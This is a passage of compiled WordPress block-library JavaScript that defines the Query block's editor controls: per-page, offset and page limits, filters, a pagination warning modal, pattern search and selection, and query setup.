42647 );
42648}
42649
42650
42651;// ./node_modules/@wordpress/block-library/build-module/query/edit/inspector-controls/per-page-control.js
42652
42653
42654
42655const MIN_POSTS_PER_PAGE = 1;
42656const MAX_POSTS_PER_PAGE = 100;
42657const PerPageControl = ({ perPage, offset = 0, onChange }) => {
42658 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42659 external_wp_components_namespaceObject.RangeControl,
42660 {
42661 __next40pxDefaultSize: true,
42662 __nextHasNoMarginBottom: true,
42663 label: (0,external_wp_i18n_namespaceObject.__)("Items per page"),
42664 min: MIN_POSTS_PER_PAGE,
42665 max: MAX_POSTS_PER_PAGE,
42666 onChange: (newPerPage) => {
42667 if (isNaN(newPerPage) || newPerPage < MIN_POSTS_PER_PAGE || newPerPage > MAX_POSTS_PER_PAGE) {
42668 return;
42669 }
42670 onChange({ perPage: newPerPage, offset });
42671 },
42672 value: parseInt(perPage, 10)
42673 }
42674 );
42675};
42676var per_page_control_default = PerPageControl;
42677
42678
42679;// ./node_modules/@wordpress/block-library/build-module/query/edit/inspector-controls/offset-controls.js
42680
42681
42682
42683const MIN_OFFSET = 0;
42684const MAX_OFFSET = 100;
42685const OffsetControl = ({ offset = 0, onChange }) => {
42686 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42687 external_wp_components_namespaceObject.__experimentalNumberControl,
42688 {
42689 __next40pxDefaultSize: true,
42690 label: (0,external_wp_i18n_namespaceObject.__)("Offset"),
42691 value: offset,
42692 min: MIN_OFFSET,
42693 onChange: (newOffset) => {
42694 if (isNaN(newOffset) || newOffset < MIN_OFFSET || newOffset > MAX_OFFSET) {
42695 return;
42696 }
42697 onChange({ offset: newOffset });
42698 }
42699 }
42700 );
42701};
42702var offset_controls_default = OffsetControl;
42703
42704
42705;// ./node_modules/@wordpress/block-library/build-module/query/edit/inspector-controls/pages-control.js
42706
42707
42708
42709const PagesControl = ({ pages, onChange }) => {
42710 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42711 external_wp_components_namespaceObject.__experimentalNumberControl,
42712 {
42713 __next40pxDefaultSize: true,
42714 label: (0,external_wp_i18n_namespaceObject.__)("Max pages to show"),
42715 value: pages,
42716 min: 0,
42717 onChange: (newPages) => {
42718 if (isNaN(newPages) || newPages < 0) {
42719 return;
42720 }
42721 onChange({ pages: newPages });
42722 },
42723 help: (0,external_wp_i18n_namespaceObject.__)(
42724 "Limit the pages you want to show, even if the query has more results. To show all pages use 0 (zero)."
42725 )
42726 }
42727 );
42728};
42729var pages_control_default = PagesControl;
42730
42731
42732;// ./node_modules/@wordpress/block-library/build-module/query/edit/inspector-controls/index.js
42733
42734
42735
42736
42737
42738
42739
42740
42741
42742
42743
42744
42745
42746
42747
42748
42749
42750
42751function QueryInspectorControls(props) {
42752 const { attributes, setQuery, isSingular } = props;
42753 const { query } = attributes;
42754 const {
42755 order,
42756 orderBy,
42757 author: authorIds,
42758 pages,
42759 postType,
42760 perPage,
42761 offset,
42762 sticky,
42763 inherit,
42764 taxQuery,
42765 parents,
42766 format
42767 } = query;
42768 const allowedControls = useAllowedControls(attributes);
42769 const showSticky = postType === "post";
42770 const {
42771 postTypesTaxonomiesMap,
42772 postTypesSelectOptions,
42773 postTypeFormatSupportMap
42774 } = usePostTypes();
42775 const taxonomies = useTaxonomies(postType);
42776 const isPostTypeHierarchical = useIsPostTypeHierarchical(postType);
42777 const onPostTypeChange = (newValue) => {
42778 const updateQuery = { postType: newValue };
42779 const supportedTaxonomies = postTypesTaxonomiesMap[newValue];
42780 const updatedTaxQuery = Object.entries(taxQuery || {}).reduce(
42781 (accumulator, [taxonomySlug, terms]) => {
42782 if (supportedTaxonomies.includes(taxonomySlug)) {
42783 accumulator[taxonomySlug] = terms;
42784 }
42785 return accumulator;
42786 },
42787 {}
42788 );
42789 updateQuery.taxQuery = !!Object.keys(updatedTaxQuery).length ? updatedTaxQuery : void 0;
42790 if (newValue !== "post") {
42791 updateQuery.sticky = "";
42792 }
42793 updateQuery.parents = [];
42794 const hasFormatSupport = postTypeFormatSupportMap[newValue];
42795 if (!hasFormatSupport) {
42796 updateQuery.format = [];
42797 }
42798 setQuery(updateQuery);
42799 };
42800 const [querySearch, setQuerySearch] = (0,external_wp_element_namespaceObject.useState)(query.search);
42801 const debouncedQuerySearch = (0,external_wp_element_namespaceObject.useMemo)(() => {
42802 return (0,external_wp_compose_namespaceObject.debounce)((newQuerySearch) => {
42803 setQuery({ search: newQuerySearch });
42804 }, 250);
42805 }, [setQuery]);
42806 const orderByOptions = useOrderByOptions(postType);
42807 const showInheritControl = isControlAllowed(allowedControls, "inherit");
42808 const showPostTypeControl = !inherit && isControlAllowed(allowedControls, "postType");
42809 const postTypeControlLabel = (0,external_wp_i18n_namespaceObject.__)("Post type");
42810 const postTypeControlHelp = (0,external_wp_i18n_namespaceObject.__)(
42811 "Select the type of content to display: posts, pages, or custom post types."
42812 );
42813 const showOrderControl = !inherit && isControlAllowed(allowedControls, "order");
42814 const showStickyControl = !inherit && showSticky && isControlAllowed(allowedControls, "sticky");
42815 const showSettingsPanel = showInheritControl || showPostTypeControl || showOrderControl || showStickyControl;
42816 const showTaxControl = !!taxonomies?.length && isControlAllowed(allowedControls, "taxQuery");
42817 const showAuthorControl = isControlAllowed(allowedControls, "author");
42818 const showSearchControl = isControlAllowed(allowedControls, "search");
42819 const showParentControl = isControlAllowed(allowedControls, "parents") && isPostTypeHierarchical;
42820 const postTypeHasFormatSupport = postTypeFormatSupportMap[postType];
42821 const showFormatControl = (0,external_wp_data_namespaceObject.useSelect)(
42822 (select) => {
42823 if (!postTypeHasFormatSupport || !isControlAllowed(allowedControls, "format")) {
42824 return false;
42825 }
42826 const themeSupports = select(external_wp_coreData_namespaceObject.store).getThemeSupports();
42827 return themeSupports.formats && themeSupports.formats.length > 0 && themeSupports.formats.some((type) => type !== "standard");
42828 },
42829 [allowedControls, postTypeHasFormatSupport]
42830 );
42831 const showFiltersPanel = showTaxControl || showAuthorControl || showSearchControl || showParentControl || showFormatControl;
42832 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
42833 const showPostCountControl = isControlAllowed(
42834 allowedControls,
42835 "postCount"
42836 );
42837 const showOffSetControl = isControlAllowed(allowedControls, "offset");
42838 const showPagesControl = isControlAllowed(allowedControls, "pages");
42839 const showDisplayPanel = showPostCountControl || showOffSetControl || showPagesControl;
42840 const hasInheritanceWarning = isSingular && inherit;
42841 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
42842 showSettingsPanel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
42843 external_wp_components_namespaceObject.__experimentalToolsPanel,
42844 {
42845 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
42846 resetAll: () => {
42847 setQuery({
42848 postType: "post",
42849 order: "desc",
42850 orderBy: "date",
42851 sticky: "",
42852 inherit: true
42853 });
42854 },
42855 dropdownMenuProps,
42856 children: [
42857 showInheritControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42858 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
42859 {
42860 hasValue: () => !inherit,
42861 label: (0,external_wp_i18n_namespaceObject.__)("Query type"),
42862 onDeselect: () => setQuery({ inherit: true }),
42863 isShownByDefault: true,
42864 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4, children: [
42865 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
42866 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
42867 {
42868 __next40pxDefaultSize: true,
42869 __nextHasNoMarginBottom: true,
42870 label: (0,external_wp_i18n_namespaceObject.__)("Query type"),
42871 isBlock: true,
42872 onChange: (value) => {
42873 setQuery({
42874 inherit: value === "default"
42875 });
42876 },
42877 help: inherit ? (0,external_wp_i18n_namespaceObject.__)(
42878 "Display a list of posts or custom post types based on the current template."
42879 ) : (0,external_wp_i18n_namespaceObject.__)(
42880 "Display a list of posts or custom post types based on specific criteria."
42881 ),
42882 value: !!inherit ? "default" : "custom",
42883 children: [
42884 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42885 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
42886 {
42887 value: "default",
42888 label: (0,external_wp_i18n_namespaceObject.__)("Default")
42889 }
42890 ),
42891 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42892 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
42893 {
42894 value: "custom",
42895 label: (0,external_wp_i18n_namespaceObject.__)("Custom")
42896 }
42897 )
42898 ]
42899 }
42900 ),
42901 hasInheritanceWarning && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42902 external_wp_components_namespaceObject.Notice,
42903 {
42904 status: "warning",
42905 isDismissible: false,
42906 children: (0,external_wp_i18n_namespaceObject.__)(
42907 "Cannot inherit the current template query when placed inside the singular content (e.g., post, page, 404, blank)."
42908 )
42909 }
42910 )
42911 ] })
42912 }
42913 ),
42914 showPostTypeControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42915 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
42916 {
42917 hasValue: () => postType !== "post",
42918 label: postTypeControlLabel,
42919 onDeselect: () => onPostTypeChange("post"),
42920 isShownByDefault: true,
42921 children: postTypesSelectOptions.length > 2 ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42922 external_wp_components_namespaceObject.SelectControl,
42923 {
42924 __nextHasNoMarginBottom: true,
42925 __next40pxDefaultSize: true,
42926 options: postTypesSelectOptions,
42927 value: postType,
42928 label: postTypeControlLabel,
42929 onChange: onPostTypeChange,
42930 help: postTypeControlHelp
42931 }
42932 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42933 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
42934 {
42935 __nextHasNoMarginBottom: true,
42936 __next40pxDefaultSize: true,
42937 isBlock: true,
42938 value: postType,
42939 label: postTypeControlLabel,
42940 onChange: onPostTypeChange,
42941 help: postTypeControlHelp,
42942 children: postTypesSelectOptions.map(
42943 (option) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42944 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
42945 {
42946 value: option.value,
42947 label: option.label
42948 },
42949 option.value
42950 )
42951 )
42952 }
42953 )
42954 }
42955 ),
42956 showOrderControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42957 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
42958 {
42959 hasValue: () => order !== "desc" || orderBy !== "date",
42960 label: (0,external_wp_i18n_namespaceObject.__)("Order by"),
42961 onDeselect: () => setQuery({ order: "desc", orderBy: "date" }),
42962 isShownByDefault: true,
42963 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42964 order_control_default,
42965 {
42966 ...{ order, orderBy, orderByOptions },
42967 onChange: setQuery
42968 }
42969 )
42970 }
42971 ),
42972 showStickyControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42973 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
42974 {
42975 hasValue: () => !!sticky,
42976 label: (0,external_wp_i18n_namespaceObject.__)("Sticky posts"),
42977 onDeselect: () => setQuery({ sticky: "" }),
42978 isShownByDefault: true,
42979 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
42980 StickyControl,
42981 {
42982 value: sticky,
42983 onChange: (value) => setQuery({ sticky: value })
42984 }
42985 )
42986 }
42987 )
42988 ]
42989 }
42990 ),
42991 !inherit && showDisplayPanel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
42992 external_wp_components_namespaceObject.__experimentalToolsPanel,
42993 {
42994 className: "block-library-query-toolspanel__display",
42995 label: (0,external_wp_i18n_namespaceObject.__)("Display"),
42996 resetAll: () => {
42997 setQuery({
42998 offset: 0,
42999 pages: 0
43000 });
43001 },
43002 dropdownMenuProps,
43003 children: [
43004 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43005 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
43006 {
43007 label: (0,external_wp_i18n_namespaceObject.__)("Items per page"),
43008 hasValue: () => perPage > 0,
43009 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43010 per_page_control_default,
43011 {
43012 perPage,
43013 offset,
43014 onChange: setQuery
43015 }
43016 )
43017 }
43018 ),
43019 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43020 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
43021 {
43022 label: (0,external_wp_i18n_namespaceObject.__)("Offset"),
43023 hasValue: () => offset > 0,
43024 onDeselect: () => setQuery({ offset: 0 }),
43025 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43026 offset_controls_default,
43027 {
43028 offset,
43029 onChange: setQuery
43030 }
43031 )
43032 }
43033 ),
43034 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43035 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
43036 {
43037 label: (0,external_wp_i18n_namespaceObject.__)("Max pages to show"),
43038 hasValue: () => pages > 0,
43039 onDeselect: () => setQuery({ pages: 0 }),
43040 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(pages_control_default, { pages, onChange: setQuery })
43041 }
43042 )
43043 ]
43044 }
43045 ),
43046 !inherit && showFiltersPanel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
43047 external_wp_components_namespaceObject.__experimentalToolsPanel,
43048 {
43049 className: "block-library-query-toolspanel__filters",
43050 label: (0,external_wp_i18n_namespaceObject.__)("Filters"),
43051 resetAll: () => {
43052 setQuery({
43053 author: "",
43054 parents: [],
43055 search: "",
43056 taxQuery: null,
43057 format: []
43058 });
43059 setQuerySearch("");
43060 },
43061 dropdownMenuProps,
43062 children: [
43063 showTaxControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43064 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
43065 {
43066 label: (0,external_wp_i18n_namespaceObject.__)("Taxonomies"),
43067 hasValue: () => Object.values(taxQuery || {}).some(
43068 (terms) => !!terms.length
43069 ),
43070 onDeselect: () => setQuery({ taxQuery: null }),
43071 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43072 TaxonomyControls,
43073 {
43074 onChange: setQuery,
43075 query
43076 }
43077 )
43078 }
43079 ),
43080 showAuthorControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43081 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
43082 {
43083 hasValue: () => !!authorIds,
43084 label: (0,external_wp_i18n_namespaceObject.__)("Authors"),
43085 onDeselect: () => setQuery({ author: "" }),
43086 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43087 author_control_default,
43088 {
43089 value: authorIds,
43090 onChange: setQuery
43091 }
43092 )
43093 }
43094 ),
43095 showSearchControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43096 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
43097 {
43098 hasValue: () => !!querySearch,
43099 label: (0,external_wp_i18n_namespaceObject.__)("Keyword"),
43100 onDeselect: () => {
43101 setQuery({ search: "" });
43102 setQuerySearch("");
43103 },
43104 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43105 external_wp_components_namespaceObject.TextControl,
43106 {
43107 __nextHasNoMarginBottom: true,
43108 __next40pxDefaultSize: true,
43109 label: (0,external_wp_i18n_namespaceObject.__)("Keyword"),
43110 value: querySearch,
43111 onChange: (newQuerySearch) => {
43112 debouncedQuerySearch(newQuerySearch);
43113 setQuerySearch(newQuerySearch);
43114 }
43115 }
43116 )
43117 }
43118 ),
43119 showParentControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43120 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
43121 {
43122 hasValue: () => !!parents?.length,
43123 label: (0,external_wp_i18n_namespaceObject.__)("Parents"),
43124 onDeselect: () => setQuery({ parents: [] }),
43125 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43126 parent_control_default,
43127 {
43128 parents,
43129 postType,
43130 onChange: setQuery
43131 }
43132 )
43133 }
43134 ),
43135 showFormatControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43136 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
43137 {
43138 hasValue: () => !!format?.length,
43139 label: (0,external_wp_i18n_namespaceObject.__)("Formats"),
43140 onDeselect: () => setQuery({ format: [] }),
43141 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43142 FormatControls,
43143 {
43144 onChange: setQuery,
43145 query
43146 }
43147 )
43148 }
43149 )
43150 ]
43151 }
43152 )
43153 ] });
43154}
43155
43156
43157;// ./node_modules/@wordpress/block-library/build-module/query/edit/enhanced-pagination-modal.js
43158
43159
43160
43161
43162
43163const modalDescriptionId = "wp-block-query-enhanced-pagination-modal__description";
43164function EnhancedPaginationModal({
43165 clientId,
43166 attributes: { enhancedPagination },
43167 setAttributes
43168}) {
43169 const [isOpen, setOpen] = (0,external_wp_element_namespaceObject.useState)(false);
43170 const hasUnsupportedBlocks = useUnsupportedBlocks(clientId);
43171 (0,external_wp_element_namespaceObject.useEffect)(() => {
43172 if (enhancedPagination && hasUnsupportedBlocks) {
43173 setAttributes({ enhancedPagination: false });
43174 setOpen(true);
43175 }
43176 }, [enhancedPagination, hasUnsupportedBlocks, setAttributes]);
43177 const closeModal = () => {
43178 setOpen(false);
43179 };
43180 const notice = (0,external_wp_i18n_namespaceObject.__)(
43181 "Currently, avoiding full page reloads is not possible when non-interactive or non-client Navigation compatible blocks from plugins are present inside the Query block."
43182 ) + " " + (0,external_wp_i18n_namespaceObject.__)(
43183 'If you still want to prevent full page reloads, remove that block, then disable "Reload full page" again in the Query Block settings.'
43184 );
43185 return isOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43186 external_wp_components_namespaceObject.Modal,
43187 {
43188 title: (0,external_wp_i18n_namespaceObject.__)("Query block: Reload full page enabled"),
43189 className: "wp-block-query__enhanced-pagination-modal",
43190 aria: {
43191 describedby: modalDescriptionId
43192 },
43193 role: "alertdialog",
43194 focusOnMount: "firstElement",
43195 isDismissible: false,
43196 onRequestClose: closeModal,
43197 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { alignment: "right", spacing: 5, children: [
43198 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { id: modalDescriptionId, children: notice }),
43199 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43200 external_wp_components_namespaceObject.Button,
43201 {
43202 __next40pxDefaultSize: true,
43203 variant: "primary",
43204 onClick: closeModal,
43205 children: (0,external_wp_i18n_namespaceObject.__)("OK")
43206 }
43207 )
43208 ] })
43209 }
43210 );
43211}
43212
43213
43214;// ./node_modules/@wordpress/block-library/build-module/utils/search-patterns.js
43215
43216function normalizeSearchInput(input = "") {
43217 input = remove_accents_default()(input);
43218 input = input.trim().toLowerCase();
43219 return input;
43220}
43221function getPatternSearchRank(pattern, searchValue) {
43222 const normalizedSearchValue = normalizeSearchInput(searchValue);
43223 const normalizedTitle = normalizeSearchInput(pattern.title);
43224 let rank = 0;
43225 if (normalizedSearchValue === normalizedTitle) {
43226 rank += 30;
43227 } else if (normalizedTitle.startsWith(normalizedSearchValue)) {
43228 rank += 20;
43229 } else {
43230 const searchTerms = normalizedSearchValue.split(" ");
43231 const hasMatchedTerms = searchTerms.every(
43232 (searchTerm) => normalizedTitle.includes(searchTerm)
43233 );
43234 if (hasMatchedTerms) {
43235 rank += 10;
43236 }
43237 }
43238 return rank;
43239}
43240function searchPatterns(patterns = [], searchValue = "") {
43241 if (!searchValue) {
43242 return patterns;
43243 }
43244 const rankedPatterns = patterns.map((pattern) => {
43245 return [pattern, getPatternSearchRank(pattern, searchValue)];
43246 }).filter(([, rank]) => rank > 0);
43247 rankedPatterns.sort(([, rank1], [, rank2]) => rank2 - rank1);
43248 return rankedPatterns.map(([pattern]) => pattern);
43249}
43250
43251
43252;// ./node_modules/@wordpress/block-library/build-module/query/edit/pattern-selection.js
43253
43254
43255
43256
43257
43258
43259
43260
43261function PatternSelectionModal({
43262 clientId,
43263 attributes,
43264 setIsPatternSelectionModalOpen
43265}) {
43266 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43267 external_wp_components_namespaceObject.Modal,
43268 {
43269 overlayClassName: "block-library-query-pattern__selection-modal",
43270 title: (0,external_wp_i18n_namespaceObject.__)("Choose a pattern"),
43271 onRequestClose: () => setIsPatternSelectionModalOpen(false),
43272 isFullScreen: true,
43273 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PatternSelection, { clientId, attributes })
43274 }
43275 );
43276}
43277function useBlockPatterns(clientId, attributes) {
43278 const blockNameForPatterns = useBlockNameForPatterns(
43279 clientId,
43280 attributes
43281 );
43282 const allPatterns = usePatterns(clientId, blockNameForPatterns);
43283 const rootBlockPatterns = (0,external_wp_element_namespaceObject.useMemo)(() => {
43284 return allPatterns.filter((pattern) => {
43285 return pattern.blocks?.[0]?.name === blockNameForPatterns;
43286 });
43287 }, [allPatterns, blockNameForPatterns]);
43288 return rootBlockPatterns;
43289}
43290function PatternSelection({
43291 clientId,
43292 attributes,
43293 showTitlesAsTooltip = false,
43294 showSearch = true
43295}) {
43296 const [searchValue, setSearchValue] = (0,external_wp_element_namespaceObject.useState)("");
43297 const { replaceBlock, selectBlock } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
43298 const blockPatterns = useBlockPatterns(clientId, attributes);
43299 const blockPreviewContext = (0,external_wp_element_namespaceObject.useMemo)(
43300 () => ({
43301 previewPostType: attributes.query.postType
43302 }),
43303 [attributes.query.postType]
43304 );
43305 const filteredBlockPatterns = (0,external_wp_element_namespaceObject.useMemo)(() => {
43306 return searchPatterns(blockPatterns, searchValue);
43307 }, [blockPatterns, searchValue]);
43308 const onBlockPatternSelect = (pattern, blocks) => {
43309 const { newBlocks, queryClientIds } = getTransformedBlocksFromPattern(
43310 blocks,
43311 attributes
43312 );
43313 replaceBlock(clientId, newBlocks);
43314 if (queryClientIds[0]) {
43315 selectBlock(queryClientIds[0]);
43316 }
43317 };
43318 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-library-query-pattern__selection-content", children: [
43319 showSearch && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-library-query-pattern__selection-search", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43320 external_wp_components_namespaceObject.SearchControl,
43321 {
43322 __nextHasNoMarginBottom: true,
43323 onChange: setSearchValue,
43324 value: searchValue,
43325 label: (0,external_wp_i18n_namespaceObject.__)("Search"),
43326 placeholder: (0,external_wp_i18n_namespaceObject.__)("Search")
43327 }
43328 ) }),
43329 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockContextProvider, { value: blockPreviewContext, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43330 external_wp_blockEditor_namespaceObject.__experimentalBlockPatternsList,
43331 {
43332 blockPatterns: filteredBlockPatterns,
43333 onClickPattern: onBlockPatternSelect,
43334 showTitlesAsTooltip
43335 }
43336 ) })
43337 ] });
43338}
43339
43340
43341;// ./node_modules/@wordpress/block-library/build-module/query/edit/query-toolbar.js
43342
43343
43344
43345
43346function QueryToolbar({
43347 clientId,
43348 attributes,
43349 hasInnerBlocks
43350}) {
43351 const hasPatterns = useBlockPatterns(clientId, attributes).length;
43352 if (!hasPatterns) {
43353 return null;
43354 }
43355 const buttonLabel = hasInnerBlocks ? (0,external_wp_i18n_namespaceObject.__)("Change design") : (0,external_wp_i18n_namespaceObject.__)("Choose pattern");
43356 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { className: "wp-block-template-part__block-control-group", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalDropdownContentWrapper, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43357 external_wp_components_namespaceObject.Dropdown,
43358 {
43359 contentClassName: "block-editor-block-settings-menu__popover",
43360 focusOnMount: "firstElement",
43361 expandOnMobile: true,
43362 renderToggle: ({ isOpen, onToggle }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43363 external_wp_components_namespaceObject.ToolbarButton,
43364 {
43365 "aria-haspopup": "true",
43366 "aria-expanded": isOpen,
43367 onClick: onToggle,
43368 children: buttonLabel
43369 }
43370 ),
43371 renderContent: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43372 PatternSelection,
43373 {
43374 clientId,
43375 attributes,
43376 showSearch: false,
43377 showTitlesAsTooltip: true
43378 }
43379 )
43380 }
43381 ) }) });
43382}
43383
43384
43385;// ./node_modules/@wordpress/block-library/build-module/query/edit/query-content.js
43386
43387
43388
43389
43390
43391
43392
43393
43394
43395
43396
43397
43398
43399const { HTMLElementControl: query_content_HTMLElementControl } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
43400const DEFAULTS_POSTS_PER_PAGE = 3;
43401const query_content_TEMPLATE = [["core/post-template"]];
43402function QueryContent({
43403 attributes,
43404 setAttributes,
43405 clientId,
43406 context,
43407 name
43408}) {
43409 const {
43410 queryId,
43411 query,
43412 enhancedPagination,
43413 tagName: TagName = "div",
43414 query: { inherit } = {}
43415 } = attributes;
43416 const { templateSlug } = context;
43417 const { isSingular } = getQueryContextFromTemplate(templateSlug);
43418 const { __unstableMarkNextChangeAsNotPersistent } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
43419 const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(QueryContent);
43420 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
43421 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(blockProps, {
43422 template: query_content_TEMPLATE
43423 });
43424 const { postsPerPage } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
43425 const { getSettings } = select(external_wp_blockEditor_namespaceObject.store);
43426 const { getEntityRecord, getEntityRecordEdits, canUser } = select(external_wp_coreData_namespaceObject.store);
43427 const settingPerPage = canUser("read", {
43428 kind: "root",
43429 name: "site"
43430 }) ? +getEntityRecord("root", "site")?.posts_per_page : +getSettings().postsPerPage;
43431 const editedSettingPerPage = +getEntityRecordEdits("root", "site")?.posts_per_page;
43432 return {
43433 postsPerPage: editedSettingPerPage || settingPerPage || DEFAULTS_POSTS_PER_PAGE
43434 };
43435 }, []);
43436 const updateQuery = (0,external_wp_element_namespaceObject.useCallback)(
43437 (newQuery) => setAttributes((prevAttributes) => ({
43438 query: { ...prevAttributes.query, ...newQuery }
43439 })),
43440 [setAttributes]
43441 );
43442 (0,external_wp_element_namespaceObject.useEffect)(() => {
43443 const newQuery = {};
43444 if (inherit && query.perPage !== postsPerPage) {
43445 newQuery.perPage = postsPerPage;
43446 } else if (!query.perPage && postsPerPage) {
43447 newQuery.perPage = postsPerPage;
43448 }
43449 if (!!Object.keys(newQuery).length) {
43450 __unstableMarkNextChangeAsNotPersistent();
43451 updateQuery(newQuery);
43452 }
43453 }, [
43454 query.perPage,
43455 inherit,
43456 postsPerPage,
43457 __unstableMarkNextChangeAsNotPersistent,
43458 updateQuery
43459 ]);
43460 (0,external_wp_element_namespaceObject.useEffect)(() => {
43461 if (!Number.isFinite(queryId)) {
43462 __unstableMarkNextChangeAsNotPersistent();
43463 setAttributes({ queryId: instanceId });
43464 }
43465 }, [
43466 queryId,
43467 instanceId,
43468 __unstableMarkNextChangeAsNotPersistent,
43469 setAttributes
43470 ]);
43471 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
43472 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43473 QueryToolbar,
43474 {
43475 clientId,
43476 attributes,
43477 hasInnerBlocks: true
43478 }
43479 ) }),
43480 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43481 EnhancedPaginationModal,
43482 {
43483 attributes,
43484 setAttributes,
43485 clientId
43486 }
43487 ),
43488 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43489 QueryInspectorControls,
